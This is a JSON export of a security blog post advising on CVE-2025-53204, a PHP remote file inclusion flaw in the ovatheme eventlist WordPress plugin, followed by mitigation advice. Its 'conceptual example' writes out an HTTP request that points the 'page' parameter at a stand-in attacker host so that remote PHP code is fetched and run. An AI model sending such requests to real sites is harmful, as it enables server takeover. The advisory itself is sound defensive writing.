{"id":71665,"date":"2025-09-06T05:59:39","date_gmt":"2025-09-06T05:59:39","guid":{"rendered":""},"modified":"2025-10-24T16:20:27","modified_gmt":"2025-10-24T22:20:27","slug":"cve-2025-53204-php-remote-file-inclusion-vulnerability-in-ovatheme-eventlist","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53204-php-remote-file-inclusion-vulnerability-in-ovatheme-eventlist\/","title":{"rendered":"CVE-2025-53204: PHP Remote File Inclusion Vulnerability in ovatheme eventlist<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the rapidly evolving world of cybersecurity, a new vulnerability has caught our attention: the CVE-2025-53204. This vulnerability pertains to an improper control of filename for include\/require statement in PHP Program, commonly known as a ‘PHP Remote File Inclusion’ vulnerability. The affected software is ovatheme’s eventlist, a widely used event management plugin<\/a> for websites. This vulnerability is significant because it poses a risk of system<\/a> compromise and data leakage, making it a pressing issue for any organization utilizing this software.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53204
\nSeverity: High (CVSS score 8.1)
\nAttack Vector: Remote
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: Potential system compromise or data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

ovatheme eventlist | through 1.9.2<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability exists due<\/a> to an error in the eventlist software’s processing of PHP include\/require statements. This allows an attacker to manipulate the filename parameter and include arbitrary files<\/a> from remote servers. These files could contain malicious PHP code<\/a>, which would then be executed in the context of the web server. As a result, the attacker could gain unauthorized access to the system<\/a> or sensitive data.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s an example of how the vulnerability might be exploited:<\/p>\n

GET \/path\/to\/eventlist\/index.php?page=http:\/\/malicious.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, the attacker has manipulated the “page” parameter to include a malicious PHP script hosted on their own server<\/a> (`http:\/\/malicious.com\/malicious_script.txt`). When the server processes this request, it includes the malicious script, which is then executed on the server. This could lead to a variety of harmful outcomes, depending on the content of the malicious script.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Organizations are urged to apply the vendor-provided patch as soon as possible to mitigate the risk posed by this vulnerability<\/a>. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability<\/a>. When configuring these systems, look for suspicious activity involving the manipulation of PHP include\/require statements, particularly those involving remote file<\/a> references.
\nIn conclusion, the CVE-2025-53204 is a high-severity vulnerability that requires immediate attention. By understanding the nature of the vulnerability and taking the appropriate steps to mitigate its risks, organizations can help protect their systems and data from potential<\/a> compromise.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview In the rapidly evolving world of cybersecurity, a new vulnerability has caught our attention: the CVE-2025-53204. This vulnerability pertains to an improper control of filename for include\/require statement in PHP Program, commonly known as a ‘PHP Remote File Inclusion’ vulnerability. The affected software is ovatheme’s eventlist, a widely used event management plugin for websites. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71665","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t